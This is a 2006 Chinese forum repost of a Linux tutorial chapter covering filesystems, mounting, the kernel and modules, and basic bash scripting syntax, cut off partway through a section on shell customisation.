免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2901 | 回复: 0
打印 上一主题 下一主题

Unix/Linux/Windows Shell [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2006-11-08 20:35 |只看该作者 |倒序浏览

源于网络。
前面部份为Unix/Linux,后面是WINDOWS。

第一部份、Unix/Linux SHELL

。。。

第2章 Linux基础
  
  本章要点:
  
  本章介绍Linux的一些基本概念,特别是文件系统和进程管理的基本知识。
  
      本章具体包括以下内容。
  
    LINUX文件系统概述
  
    系统内核概述
  
    shell脚本的基本格式
  
    UNIX的用户权限和用户账号管理
  
    进程管理的基本概念和操作
  
    Linux的发行版本
  
  2.1 文件系统
  
  让我们首先来解释Linux的文件系统概念。我无意将你培养成为职业的系统破坏者,只
是介绍一些基本概念。特别地,直接操作设备的物理扇区来读写ext2文件系统这样的想
法让我只要想一下就会脖子发凉,如果你是这方面的专家,请告诉我到底怎么做。
  
  2.1.1 UNIX和树状文件系统

  
  与普通的UNIX系统一样,Linux使用树状的文件系统。每个系统都有一个根目录,从这
里开始可以遍历整个系统中的所有文件,它没有驱动器和盘符的概念。
  
  你可能会怀疑在没有驱动器符的情况下Linux如何处理多于一个的磁盘分区,可以看一
下下面的示意图:
  

  
  图2.1 文件系统示例
  
  在我们的例子里,在/下有四个目录,其中,/bin直接和/位于同一个分区中,这个包
含/的分区称为根分区。除此之外,根分区下还存在三个目录:/home,/mnt和/usr。
  
  在系统中要存放大量的常用文件,例如日常的命令,系统文档等等。我们分划了一个
独立的分区用来存放这些文件,这个分区被“连接”在/usr目录下,因此要访问分区上
的文件只要访问/usr目录就可以了。
  
  同样,我们为用户的私人文件开设了一个分区,连接在/home下面,每个用户都可以使
用自己的目录内的文件(比如:/home/emp1)。但是我们发现有一个目录需要容纳特别
多的文件,以至于将它单独分区可能会好一些,因此我们又设置了一个独立的磁盘用来
容纳这些数据,这个磁盘分区被连接到/home/httpd。
  
  这台机器上还包含了一个DOS分区,一个光盘驱动器,另外网络中还有一个服务器提供
了共享的网络目录,我们把它们全都连接到文件系统之中,不过由于每个目录分支点(
术语叫mount point)只能安装一个文件系统,所以我们在/mnt下面开设了三个目录来连
接它们。
  
  所有的文件都可以通过目录名加文件名来访问,对于系统来说,具体的每个文件到底
在那个磁盘或者那个服务器上是无关紧要的,只要了解这个文件所在的目录就行了。Li
nux利用/作为根目录的标志以及目录层之间的分割符,其作用相当于DOS的\。不过与DO
S不同的是,Linux的文件名、目录名命名规则要宽泛的多,可以用相当长的文件名和目
录名,在文件名和目录名中都可以包含不止一个的句点,而且区分大小写。例如 \test
和\TEST是不同的两个文件。而一个位于/mnt/dos目录下的名为file1的文件其绝对路径
名就是/mnt/dos/file1。
  
  应该指出的是,“文件系统”这个词在Linux文献中有几种含义,第一种用来描述我们
这里说的从/开始的系统中所有文件和目录的集合;第二种用来描述如同我们例子里面与
/usr对应的那个分区那样的可以直接连接到某个目录下的完整集合体,即文件系统的一
个独立部分;第三种含义是文件系统的具体实现方式,即操作系统如何把这种逻辑的目
录结构映射成磁盘上的数据。具体的含义很容易根据上下文判断出来,大家可以自己注
意。
  
  用cd命令可以在不同的目录之间切换,Linux承认绝对路径和相对路径,这个内容对于
任何熟悉dos的用户都应该是极其简单的,例如从/mnt/dos切换当前路径到/home/httpd
的命令可以是cd /home/httpd,也可以是cd ../../home/httpd。但是必须注意的是,在
cd命令之后的空格不可省略。
  
  尽管理论上Linux应该自动对文件名进行过滤,但是这方面仍然有一些问题,例如,L
inux允许用减号作为一个文件的起始字母,然而-也用于许多命令后的开关,因此会带来
一些问题,如果你碰到了类似的问题,有时候使用绝对路径名会解决问题。

  
  2.1.2 文件类型和文件组织

  
  Linux把许多不同的东西看成文件。在一般情况下,我们会碰到下面类型的文件:
  
  普通文件
  
  目录
  
  设备文件
  
  链接
  
  普通文件和目录
  
  普通文件和目录的含义与DOS或者windows下的概念是类似的,普通文件就是一些数据
的集合,而目录则是包含文件的容器。实际上,目录也是一种特殊的文件,只是它包含
的内容是文件的存放信息。文件可以用rm命令删除,目录用mkdir命令建立,用rmdir删
除。
  
  设备文件
  
  UNIX设备被当成文件来处理,通常UNIX的设备文件被分成字符设备和块设备,字符设
备通常是类似于终端那样可以用处理文本文件的方式来处理的东西,例如,Linux在启动
时打开了六个虚拟终端,分别称为tty1到tty6,这些虚拟终端对应的文件是/dev/tty1到
/dev/tty6。假设你有超级用户权限,就可以直接向这些TTY上写文本,而这些文本则会
显示在主机的控制台上。块设备则代表了类似磁盘的东西,如磁盘,CD-ROM或者虚拟驱
动器。一般情况下,每个块设备还要包含一些子设备,例如,第一个IDE硬盘被称为hda
,但是这个硬盘可以包含多个分区,那么,第一个分区称为hda1,以下依次是hda2,hda
3,….等等。
  
  设备文件用mknod命令建立,用rm命令删除。
  
  链接
  
  链接实际是一种文件别名,每个文件至少应该有一个名字,而如果你需要给文件增加
一个名字以便访问,那么就需要建立一个链接。链接被分为软链接和硬链接。软链接实
际上只是一段文字,里面包含着它所指向的文件的名字,系统看到软链接后自动跳到对
应的文件位置处进行处理;相反,硬联接为文件开设一个新的目录项,硬链接与文件原
有的名字是平权的,在Linux看来它们是等价的。由于这个原因,硬链接不能连接两个不
同文件系统上的文件。
  
   链接可以用ln命令创建,例如,在/home/user目录下有一个文件dest,现在需要在/
tmp目录下建立一个链接以便直接在/tmp下访问它,那么可以用这样的命令:
  
  ln /home/user/dest /tmp/dest
  
  这个操作将会建立一个硬链接,但如果/home/user和/tmp在不同分区上时这个命令将
会失败。
  
   ln –s /home/user /tmp/dest
  
  这个命令将建立一个软链接。

  
   如同其它UNIX Like系统一样,Linux的目录组织经常给人晕头转向的感觉,下面是一
些基本的目录的说明。注意,理论上你可以更改这些目录的位置和名字,但是这样做很
可能使一些假定文件“就在哪里”的程序混乱。
  
    /:所有目录的“祖先”。
  
   /lib:大部分应用程序必须使用的动态连结库文件
  
   /usr:绝大部分的东西都在那里,比较复杂的应用程序(/usr/bin,/usr/sbin),
应用程序的附加文件(/usr/lib),应用程序的文档(/usr/doc),应用程序的联机手册
(/usr/man)。
  
  /usr/local:这里是一般的附加软件的安装地点,如果你在安装了Linux之后又试图安
装新的应用程序包,通常会被安装在这里。
  
   /var:这里包含的是一些随着系统运行会不断改变的内容,例如各种记账信息,邮件
和打印队列等等。许多人建议把它单独构成一个分区。
  
   /tmp:临时文件,有必要的话将它独立成一个分区。
  
   /dev:Linux用这个目录存放设备文件。
  
   /proc:这实际上不是一个磁盘目录,而是用来显示系统的运行状态,在其中包含各
种虚拟“文件”用来显示系统的当前状况,如进程和CPU等等。
  
   /mnt:习惯上在这个目录下开设出各种文件系统的连结点,但你可以随便更改它而不
会带来任何问题。
  
   /home:缺省的非超级用户的宿主目录的所在地点。
  
  2.1.3 使用文件系统
  
  通常,对于服务器,我们在安装的同时就为它设计好了文件系统,特别是如何分区,
某个分区应该连结到哪个目录下等等。但是我们也需要对文件系统进行维护,例如为服
务器增加一个硬盘,或者解决文件系统混乱的灾难性问题等等。另外,诸如CD-ROM,软
磁盘,或者服务器上的共享目录等等显然是需要经常更换的,在Linux中,用文件系统的
安装和拆卸来对付这样的问题。
  
  本节不会涉及那些有关处理文件系统灾难或者建立新的分区之类的问题;这种问题可
以参考系统配置和日常维护的那两章,这里只是介绍一些基本的知识。
  
  一个文件系统可以连结到已有的Linux系统中,也可以把连结上的文件系统从整个目录
树中脱离,这是用mount和umount命令实现的。
  
  mount命令的格式是
  
  mount 开关 分区或者设备名 文件系统连结点
  
  开关是一些命令参数,例如,假定我们需要使用某个软盘上的文件,将它插入驱动器
A,然后执行
  
  mount /dev/fd0 /mnt/floppy
  
  然后软盘的文件系统就被挂到/mnt/floppy目录下,相当于dos的a:\file1的文件现在
的名字是/mnt/floppy/file1。注意mount命令要求在挂接之前连结点(在这个例子中是/
mnt/floppy)必须存在,否则无法执行。
  
  一般总是把文件系统连结到某个空目录。假如/mnt/floppy目录在连结之前就包含某些
文件,那么执行上述命令的结果将使/mnt/floppy目录的内容变为软磁盘上的内容,而原
有的内容在卸掉这个文件系统之前将不可访问。
  
  /dev/fd0是与驱动器A对应的设备,相应地驱动器B是/dev/fd1。硬盘的情况比较复杂
,因为Linux是利用设备接口来描述设备的,例如,第一个IDE接口上的主盘是/dev/hda
,从盘是/dev/hdb,第二个IDE接口上的两个盘是/dev/hdc和/dev/hdd。问题是由于硬盘
使用的是分区,所以必须使用子设备名,例如,把/dev/hda上的第一个分区连结到/mnt
/diskc上的命令是
  
  mount /dev/hda1 /mnt/diskc
  
  相应地,第二个分区是/dev/hda2,以此类推
  
  同样,SCSI驱动器用/dev/sda,/dev/sdb等等描述,对应的子设备名字是/dev/sda1,
/dev/sda2等等。
  
   Linux对IDE光驱用硬盘的命名方式,不过光盘不存在分区问题,所以可以直接使用设
备名,例如把第二IDE从盘上的CDROM连结到/mnt/cdrom的命令是
  
   mount /dev/hdd /mnt/cdrom
  
  mount命令最常用的两个命令开关是-t和-o ,-t命令用来标志准备挂接的文件系统的
类型,(在下一小节中详细介绍),-o选项用来设置一些选项,最主要的选项是ro和rw
。这两个选项定义了对文件系统的存取方式,如果使用ro选项,那么这个文件系统将以
只读方式连入,无法修改上面的任何信息。缺省的设置是rw。
  
  连结了一个文件系统之后,就可以向这个系统对应的目录进行操作,效果就是操作对
应的文件系统,如果要把这个文件系统卸下,使用umount命令,其格式是:
  
  umount 连结点
  
  例如,在上面的例子中,把连结在/mnt/floppy的软盘文件系统卸下的命令是
  
  umount /mnt/floppy
  
  注意由于这个过程会改变目录结构,因此必须在没有任何进程访问/mnt/floppy下的文
件,也没有任何用户的当前目录是/mnt/floppy或者它的下级目录时才能完成,否则会返
回一个 device is busy的错误。在有些UNIX系统中你可以用umount –f 的方法来强行
越过这个限制,但这是一种极其粗野的方式,只有你明确地知道你到底在干什么才可以
,在Linux中这个功能已经被取消。(有一个有趣的问题,如果你的文件系统是级联的,那
么在拆卸下级文件系统之前上一层文件系统不能被拆卸)由于这个原因,在有人使用系统
的情况下拆卸服务器的文件系统几乎是不可能的。如果你实在要这样干,请参考系统配
置那一章,将系统切换到单用户模式,这个过程会把所有用户从系统上踢掉,然后再完
成你的拆卸过程。
  
  作为一种保护机制,已经mount的cd-rom不能通过按下面板上的按钮直接弹出,而必须
首先执行umount命令,当然也可以用eject命令完成umount和弹出的自动操作。对于软盘
没有这样的保护,所以你必须注意不要弹出一个已经连结的软盘,如果你这么做了,由
于unix的文件工作方式,除非这个软盘是以read only方式连入,否则几乎肯定会出现问
题。
  
  mount和umount都需要超级用户权限才能执行,另外,它们都支持-a选项,mount –a
挂接在/etc/fstab中定义的所有可挂接文件系统;umount –a卸下所有定义在/etc/mta
b中得已挂接文件系统。每当挂接一个文件系统时,系统自动在/etc/mtab中增加一条纪
录;当这个系统被卸下时自动把纪录清除。直接输入不带参数的mount指令将会显示当前
已挂接的文件系统。
  
  2.1.4 VFS、缓冲和ext2
  
  每一种UNIX变体都有其独特的文件系统实现方式,Linux文件系统的实现依赖于所谓e
xt2文件系统,但是它也支持其他许多种出自其他操作系统的文件系统实现。在这个方面
,Linux引入了虚拟文件系统(VFS)的概念,任何文件系统连接入Linux时都必须先经过
VFS映射成为标准的文件系统。只要增加VFS到具体文件系统的映射,就可以让Linux支持
新的文件系统。一般说Linux必须在ext2文件系统上启动,但是也存在用基于MSDOS的某
种文件系统来实现它的可能。
  
  VFS的最大一个影响也许是在缓冲文件方面。如同在MS-DOS上经常看到的那样,Linux
也使用内存高速缓冲磁盘的读写。事实上,为了提高性能,Linux被设计为将“几乎所有
”的空余内存都用来作为磁盘缓冲,这个设计使得Linux具有UNIX类系统中最高的磁盘效
能。(如果你对这个有兴趣,那么,有些人曾经宣布,在Linux+PeniumII+IDE上运行ta
r+zip比Sun solaris+SCSI上快一倍左右,原因是solaris不使用磁盘缓冲。)它的缓冲
对读写都同样有效,为此,系统必须每隔一段时间将缓冲区中的内容和磁盘中的内容进
行同步,如果在同步间隙中掉电,未写入的数据将会丢失。在拆卸任何文件系统或者关
机、重新启动之前,系统内核将自动同步其内容。当然你也可以使用sync命令来进行这
个同步。
  
  尽管如此,仍然可能由于某些原因使得文件系统未能正确同步,通常造成这种现象的
原因是掉电,因此,缺省的系统启动脚本会在每次重新启动时自动检测文件系统,并且
启动fsck程序修理那些没有正确同步的文件系统。(fsck是系统管理员用来修理文件系
统的主要工具,它的用法我们将在“日常维护”中介绍。)这个命令有时要耗费很长的
时间。
  
  Ext2是Linux的标准文件系统,与任何UNIX文件系统类似,它将磁盘分割成为一系列数
据块,再由数据块构成块组。每个文件由唯一的I节点(inode)描述,它包含文件的存放
和权限信息。象一切UNIX一样,Linux在内存中缓冲inode表来加快文件的存取。
  
  (如果这些内容会让你糊涂,那么不要紧,你并不需要了解ext2的具体实现。实际上
对于一个非内核设计者来说理解ext2的实现的唯一理由是要去挽救一个已经被灾难完全
摧毁的文件系统。然而,备份和恢复会容易的多,不是吗?)
  
  2.1.5 其它文件系统
  
  Linux支持许多文件系统,“支持”的意思是说你可以把载有这些文件系统的磁盘分区
或者什么其他的设备直接连接到Linux文件系统中。一般情况下,如果要连接一个不是e
xt2的文件系统,你需要在mount命令行中用-t指令明确地给出文件系统的类型。Linux系
统目前支持的文件系统类型主要有:
  
  minix:最早的MINIX系统的文件系统
  
  ext2:Linux的标准文件系统,它还有一个比较早的形式即ext,目前已经不用
  
  msdos:这就是标准的MSDOS文件系统
  
  umsdos:这是一个特殊的文件系统实现,可以用MSDOS来存贮类似UNIX的长文件名文件
  
  vfat:这是windows 95/98使用的文件系统,支持windows 95长文件名
  
  iso9660:CD-ROM的标准文件系统
  
  hpfs:OS/2用的文件系统
  
  ntfs:windows nt 4.0用的文件系统(使用它要小心,目前这个功能还不是很可靠,
绝对不要把一个NTFS文件系统连接成rw的方式!)
  
  ufs:BSD用的文件系统
  
  sysv:System V系列的一些UNIX使用的文件系统。
  
  Ext2和ISO9660通常不需要使用类型说明,而msdos/win95文件系统则常常需要明确地
说明其为msdos或者vfat,例如,在/dev/hdb2上装有一个windows 95文件系统,那么,
将它连结到/mnt/win95的命令是
  
  mount /dev/hdb2 /mnt/win95 –t vfat
  
  偶尔你必须为连结到文件系统中的msdos软盘说明其类型:
  
  mount /dev/fd0 /mnt/floppy –t msdos

  
  2.2 系统内核基础
  
  下面我们要解释有关系统内核的一些东西。必须记住,GNU+Linux的一个特色是如此之
多的程序可以使用,因此几乎所有的东西都可以用你自己的东西替换掉,除了系统内核

  
  2.2.1 什么是内核

  
  Linux将系统的一些关键性程序分离出来构成所谓操作系统内核。象大部分UNIX操作系
统的内核那样,Linux内核必须完成下面的一些任务:
  
  管理对文件系统的读写,把对文件系统的操作映射成对磁盘或其他块设备的操作
  
  管理程序的运行,为程序分配资源,并且处理程序之间的通讯
  
  管理存储器,为程序分配内存,并且管理虚拟内存
  
  管理输入输出,将设备映射成设备文件
  
  管理网络
  
  文件系统的概念我们已经在前面一节中介绍过了,内核必须包含VFS管理程序以及将各
种具体文件系统映射成VFS的程序。另外的几项功能差不多也象文件系统一样复杂,首先
是对于内存的管理。
  
  Linux使用虚拟存储管理方式,利用现代处理器的页面映射能力,在x86处理器上,Li
nux使用4GB地址空间,系统的物理存贮器通常总是少于这个数字。操作系统除了使用物
理存储器外,也支持将硬盘空间映射成为虚拟内存。所有存贮器(物理内存和虚拟内存
)分成大小相等的页面,在x86系统中,每一页的大小是4kB,通过给出页号和页面内偏
移量对某个内存地址进行访问,在物理内存紧张的时候,操作系统必须把某些没有使用
的页面从内存移动到硬盘上以便腾出空闲的页面供程序使用,这个过程称为对换。
  
  显然对换需要虚拟存储空间,通常情况下Linux用交换分区来处理这个问题,在硬盘上
开设一个独立的分区专门用于映射虚拟内存,这种分区称为交换分区。交换分区可以并
且经常不止一个,之所以这样是由于早期的Linux核心要求每个交换分区不能超过128MB
。对于较重负荷的服务器,交换内存用到256MB甚至更多都是很正常的事情,因此那时的
系统经常有多个交换分区,目前这个限制已经去除,但仍有人使用多于一个的交换分区

  
  核心的另外一个任务是执行用户程序,为此核心必须支持可执行文件格式。Linux使用
多种可执行文件的格式,诸如elf,a.out等等(与ms-dos不同,没有办法从名字上区分
一个文件到底是什么格式,核心只关心二进制文件的具体形式)。
  
  除此之外,所有的设备驱动程序都必须包含在系统内核之中,依靠这些驱动程序操作
系统才能够对硬件进行操作。
  
  2.2.2 可加载模块和设备驱动程序
  
  在一些系统中内核的运行参数以及内核中包含的设备驱动程序都只能在系统启动时装
入,因此要想改变系统硬件或者对硬件的运行参数进行调整,唯一的选择是重新启动。
Linux支持在运行期间加载核心模块。
  
  模块(modules)是Linux的概念,它意味着可以将一些功能的程序分离出来,动态地加
入和撤出内核。通常这种实现的目的是减少内核需要的物理存储空间(内核不能对换,
也不使用虚拟内存映射)以及使系统的配置更灵活。尽管理论上随意加入和拆卸内核的
功能容易使内核陷入危险中,但是Linux的实现使得加载一个内核模块实际是相当安全的

  
  必须注意的是,一个放在模块中的程序和直接放在内核映像文件(例如,在许多系统
上的/vmlinuz)中的并没有什么不同,把某个部分当成模块还是直接放入内核映像的理
由通常只是为了方便。例如,尽管可以把软驱的驱动程序作成可加载模块,但是对于一
个经常使用软盘的用户来说这只会带来烦恼,因为在使用软盘之前他必须将驱动模块调
入,相反,对于一个普通用户,ntfs驱动程序可以合情合理地做成模块,因为需要访问
windows NT分区的几率肯定是很小的。网卡和声卡驱动程序也通常做成模块的形式,因
为它们的种类实在太多,在内核中包含所有的驱动程序肯定是一种疯狂的想法。
  
  内核模块可以用insmod命令加载,用rmmod命令卸载,其语法是:
  
  /sbin/insmod 模块名
  
  /sbin/rmmod 模块名
  
  而使用lsmod命令可以显示当前加入的内核模块。
  
  由于许多模块的加载都涉及到复杂的版本、相互依赖等问题,所以Linux文档提倡使用
更简单的modprobe命令来加载模块:
  
  /sbin/modprobe 模块名
  
  需要指出的是,模块是在编译系统内核时设定的,通常在/lib/modules目录下有一个
目录,其名字是你的内核版本号(比如:2.2,14),而各种模块都包含在这个目录下,
名字是xxxx.o,xxxx是模块名,而.o是缺省的扩展名。在使用上面的各个命令时,不需
要使用扩展名也不需要使用路径。例如,使用/lib/modules/2.2.14/ipv4/ip_masq_qua
ke.o的命令为
  
  /sbin/modprobe ip_masq_quake.o
  
  也存在另外一种方案,这种方式中,当核心需要某个模块时,它自动去寻找对应的模
块文件并且将它加载到系统中。这是通过正确地编译内核实现的,不过,一般不推荐使
用这样的办法,因为增大了出现意外事故的几率。
  
  2.2.3 内核不做什么
  
  Linux内核是一个比较复杂的程序,技术上讲,它不同于一些现代操作系统所采用的微
内核,相反,许许多多的东西被加入到了内核之中。但是,比起许多其他系统,Linux内
核是非常小而且简单的。另外,许多东西虽然是Linux的一部分但是和内核完全无关,拆
卸它们至少在理论上不会影响系统的正常运转。
  
  首先的可以拆卸或者替换的东西是命令解释程序,再就是X-Window,这些东西只是几
个应用程序,它们并不运行在核心态中,对于Linux它们也不是绝对必要的(然而,这种
说法也许只有理论上的意义,一个没有shell的Linux几乎肯定是不可操作的)。
  
  2.3 shell和配置程序
  
  作为一个UNIX系统管理者,你必须了解shell。Linux在对shell的依赖方面比其它UNI
X产品好一些,因为有近乎无穷多的shell和相关的自动化工具可用。不过,我想无论如
何,你都必须了解bash,这是Linux的缺省shell。
  
  2.3.1 命令解释程序
  
  一个复杂的可以编程的命令解释程序是UNIX的特色之一,它们通常被称为shell。由于
shell仅仅是一些标准的UNIX程序,因此它可以毫无困难地在Linux上实现。当然一般人
总是喜欢使用较为好用的shell程序。
  
  Linux下用的最多的shell是bash,它很庞大也很复杂,但是确实功能强大。对于许多
用户来说,bash的命令行接口已经足够好,例如提供了在命令行编辑历史纪录的功能。
事实上,shell的用法可以用一本书来描述,因为shell命令本身构成了一种语言,具有
不逊于一般语言的编程能力。
  
  本书作者不奢望你是一个shell script专家,也无意让你成为一个shell专家,但是为
了对系统进行有效的管理,至少必须能够看懂shell脚本。如果你已经熟悉shell编程就
可以简单地跳过这一小节,否则,这里给出了对shell语法的一些简单描述。
  
  一个shell脚本通常就是一个文本文件,但是被设置成具有可执行的属性。你可以合情
合理的把它看成一个批处理命令,然而,shell允许使用变量和流程控制,因此它能完成
的东西比DOS的批命令要丰富的多。
  
  在shell脚本里面可以简单地定义变量,变量可以是一个数值或者字符串,shell并不
了解变量类型的概念,区分变量类型的工作要你自己完成。
  
  为了定义变量,可以简单地使用赋值语句,例如,下面的命令将my_var的内容置为1:
  
  [wanghy@openlab wanghy]$ my_var=1
  
  注意[wanghy@openlab wanghy]$是系统提示符。后面的才是输入内容。在使用bash时
有一个特殊要求,即等号两边不能有空格。
  
  如果要访问变量的内容,使用$前缀,例如:
  
  [wanghy@openlab wanghy]$ echo $my_var
  
  1                                 
  
  另外,Linux定义了一些特殊的变量,首先是命令行参数,这些参数被用$0,$1,…的方
式引用,$#则指代命令行参数的个数,$*则给出全部参数构成的字符串。如果这些说法
让你感到困难,看一下下面脚本的运行结果。
  
  [wanghy@openlab wanghy]$ cat testpar
  
  echo $0
  
  echo $1
  
  echo $2
  
  echo $*
  
  [wanghy@openlab wanghy]$ ./testpar par1 par2 par3
  
  ./testpar
  
  par1
  
  par2
  
  par1 par2 par3                     
  
  shell中定义了一些特殊的字符,除了$指代变量,,>,|进行标准I/O重定向之外
,还有下面一些字符:
  
  `  这个符号(就是在Tab和Esc之间的那个键)用于执行命令替换,例如出于某种原因
你想执行uname –r命令得到内核的版本号并且存入$kernel_version里,可以执行下面
的程序代码:
  
  kernel_version=`uname -r`
  
  双引号和单引号用于标记字符串,但是它们也有一些不同,主要是如果有一个字符串
中包含$var这样看起来象是变量名的部分时,双引号括起来的字符串将其解释为变量而
单引号不作任何处理。
  
  反斜杠用于在字符串中包含特殊字符。
  
  . 号用于执行一个脚本,例如:. ./testpar执行当前目录下的testpar脚本。它不能
用于执行二进制文件。
  
  Bash的另外一个功能是执行各种程序流程,它支持if….then….else…..fi的选择模
式,其中if后跟各种测试指令,测试指令的基本形式是test 表达式,如test 1
t –f /etc/smb.conf等等。test也可以用方括号代替,例如test 1
,注意使用方括号时方括号和中间的表达式之间必须用空格隔开。可以选择的测试指令
包括:
  
  数字比较
  
  -eq (等于) -ge (大于等于)-le(小于等于)-ne(不等于)-gt (大于)-lt(小
于)
  
  字符串比较
  
  = 等于 != 不等于 –n 字符串长度是否大于零 –z 字符串长度是否等于零
  
  文件测试
  
  -d 是否为目录
  
  -f 是否存在这个文件
  
  -r 是否可读
  
  -s 是否具有大于零的长度
  
  -w 是否可写
  
  -x 是否可执行
  
  逻辑操作
  
  ! 求逻辑非
  
  -a 逻辑AND
  
  -o 逻辑OR
  
  另外,shell支持for,while,until和case,shift语句。if,while,case和until语
句的用法都很简单,只要看一下系统给的例子就可以了,for语句比较复杂,其格式是
  
  for var in list
  
  do
  
   …..
  
   done
  
  其含义是对list中的每个值执行一次循环。如果list写成”$@”则对所有命令行参数
执行一次循环。
  
  下面是case的基本用法:
  
  case str in
  
  str1|str2)
  
  statement1;
  
  str3|str4)
  
   statement2;
  
  str5)
  
   statement3;
  
  *);
  
  esac

  
  *相当于"case else"。str1|str2)表示“若等于str1或者str2则” ,小括号是不可少
的。
  
  while语句的用法是
  
  while   { expression }
  
  do
  
  .....
  
  ......
  
  done
  
  until语句的用法是
  
  until test expression
  
  do
  
  .......
  
  ......
  
  done
  
  shift语句与dos里的用法相同,它把命令行参数的位置左移,缺省的情况下移动一次

  
  另外的标准语句还有break和exit,分别用于退出一个循环或者退出当前脚本。
  
  还有一个语句是select,用来接受用户输入,其用法可以参考下面的脚本:
  
  select input in continue over
  
  do
  
  if test $input = "continue" ; then
  
  echo "contiune"
  
  else
  
  echo "over"
  
  exit
  
  fi
  
  done        
  
  [由于本书仅仅希望你能够看懂script而不是会编写复杂的script,因此不准备详细地
叙述shell编程的要点。当然许多人把会熟练地编写script看成一个UNIX高级用户的标志
,但是对于Linux系统管理员来说,高超的脚本技能绝对不是必要的。]
  
  2.3.2 不同的shell
  
  对于大部分人来说,UNIX提供的shell是太多了,最常用的大概是sh,csh和bash程序
,但是其他的象tcsh,zsh之类的程序也经常出现,如果有兴趣,你可以看看在Linux发
行盘里面提供了多少种不同的shell。问题在于,不同的shell不仅是外貌不同,在流程
控制和表达式的使用方面也存在区别,事实上,这样的问题经常让人晕头转向。
  
   在Linux的启动阶段,它使用sh作为命令解释器,其语法就是我们刚才讨论的语法,
但是不支持bash提供的一些高级特性。事实上,bash是作为对sh程序的一种强化出现的
。当Linux准备就绪以后,它使用/etc/passwd文件中的描述为每个用户提供自己的shel
l,通常提供的是bash或者csh。这些shell都是用户友好的,提供了诸如命令行补齐,历
史纪录,通配符等等高级特性。不过,许多人都喜欢使用自己习惯的shell程序。
  
   对shell掌握程度曾经是UNIX用户水平的衡量标志之一,因为那个时候除了shell以外
没有更好的自动化任务工具,有些系统甚至不愿意提供C编译器。但是现在,在perl和C
编译器作为Linux发行版本的一部分出现时,过分的强调诸如shell,awk等工具的使用能
力并无意义。作者建议你用Perl完成日常的任务管理工作。
  
  2.3.3 配置程序、文档和编辑器
  
  UNIX的一个典型的特性是它的系统配置程序都是文本。系统内核、应用程序等等都需
要一系列数据进行缺省设置,在许多系统上,这种设置是以某种内部数据库的形式提供
的,而在UNIX系统中,它们被实现为简单的文本文件。理论上,使用文本文件会使得配
置文件的大小比压缩二进制编码大一些,但是文本文件容易操作的优点完全抵销了这个
弱点。
  
  传统上,系统的配置文件被放在/etc下面,一般情况下,如果要修改某个软件的设置
,你需要做的就是编辑对应的配置文件,然后重新运行这个软件。Linux下的软件的配置
文件被设置为很容易理解的形式(当然也有一些东西例外,比如sendmail)。一个典型
的例子是缺省的/etc/bashrc,它用来设置一些bash使用的参数文件:
  
  # /etc/bashrc

  
  # System wide functions and aliases
  
  # Environment stuff goes in /etc/profile

  
  # For some unknown reason bash refuses to inherit
  
  # PS1 in some circumstances that I can't figure out.
  
  # Putting PS1 here ensures that it gets loaded every time.
  
  PS1="[\u@\h \W]\\$ "                 
  
  以#开头的行很容易看出是注释行(大部分UNIX应用程序都这样,偶尔某些东西使用分
号作为注释开始的标志)。所以实际的命令只有一行,如果你熟悉UNIX里面“说话的规
则),你很容易看出这是用来设置缺省的命令提示符的(\u:用户名 \h:机器名 \W 目
录名)。
  
  对于UNIX专家来说,这种配置程序是极其简单的,只要一个普通的文本编辑程序就可
以完成包括裁剪内核,调整软件运行参数等等多方面的工作,但是这也足以让新手晕头
转向,尤其是当某些东西没有写在文档里面的时候。(有一个说法,当你不会使用某个
软件时,windows用户决定去寻找一个更简单的产品,UNIX用户则去寻找一本更厚的文档
)。Linux则采取了比较温和的办法,对于许多涉及到太多的配置文件的一些软件的设置
,Linux提供许多配置程序(技术上这种东西可以在任何UNIX体系上使用,不过UNIX老手
往往不屑于使用这种功能)。不过要记住,这些配置程序所作的和一个熟练的系统管理
员用编辑程序作的实际是一样的(也许更愚蠢一些),只要你愿意,你总可以手工完成
它的任何工作。不过,有些编辑工作是如此地复杂以至于除了它的开发者以外没有人愿
意手工去做(比如说:sendmail)。相反,有些配置工具十分愚蠢,它们偶尔会给你带
来一些严重的麻烦,所以有经验的用户决不用它。
  
  这种文本编辑方式的系统配置显然要依赖于两种东西,文本编辑器和对于配置文件格
式说明的文档。通常人们只是在已有的内容上面修改一下,因此通常各种Linux软件都提
供配置文件的范例。但是更详细的内容必须通过文档来得到,Linux软件通常提供两种文
档,即联机手册和文档文件。
  
  联机手册是Linux文档的主要来源,一般它提供给那些“原生”的Linux程序,它有终
端和X两种版本,例如,在终端下想要了解more命令的用法,输入man more就会出现类似
下面的屏幕:
  
  [root@openlab joe]# man more
  
  MORE(1)                      UNIX Reference Manual                     MOR
E(1)
  
  NAME
  
       more - file perusal filter for crt viewing
  
  SYNOPSIS
  
       more [-dlfpcsu] [-num] [+/ pattern] [+ linenum] [file ...]
  
  DESCRIPTION
  
       More is a filter for paging through text one screenful at a time.  Th
is
  
       version is especially primitve.  Users should realize that less(1) pr
o?     vides more(1) emulation and extensive enhancements.
  
  OPTIONS
  
       Command line options are described below.  Options are also taken fro
m
  
       the environment variable MORE (make sure to precede them with a dash
  
       (``-'')) but command line options will override them.
  
       -num  This option specifies an integer which is the screen size (in
  
             lines).

  
  :                                             
  
  注意结束处的冒号,这表示手册中关于more的内容还没有全部显示出来,用^F和^B可
以上下翻页,当移动到手册页面末尾时,标志将会出现。
  
  阅读完毕之后,用q键退出。
  
  在X下,执行xman  &就可以阅读手册内容。
  
  偶尔某些名字有多重含义,例如exit既可能指shell的exit命令也可能指标准C的exit
()函数,手册用分节的方式来处理这个问题,例如第一节是普通命令,第二节是标准系
统调用等等,详细的定义可以在xman的菜单里面找到。要在终端下使用分节,使用
  
  man –S [节号] 命令名
  
  联机手册的内容构造的相当简明而清晰,但是对于一个新手来说,它们往往帮不上忙
。许多软件在/usr/doc目录下提供了TXT或者HTML格式的较为详细的文档可以阅读。另外
,/usr/doc/HOWTO目录中存放着Linux-HOWTO的内容,对于新手是最有用的信息来源之一

  
  如果你能够理解文档,那么就可以通过编辑配置程序来完成系统和应用软件的配置。
这意味着你需要至少掌握一种编辑工具。UNIX下最主要的编辑工具是vi和emacs,但是对
于象编辑配置文件这样的工作,它们的功能是过于强大了。如果你会用任何一种当然很
好,如果你不会也无关紧要,象joe之类的编辑器要简单的多,而且同样可以完成工作。
(个别发行商不提供joe,但这总不能妨碍你自己去下载源代码然后编译)。
  
  2.3.4 定制环境
  
  通常一个用户总是希望定制自己的shell环境。对于一个系统管理员来说,正确的系统
设置可以加快工作的效率。
  
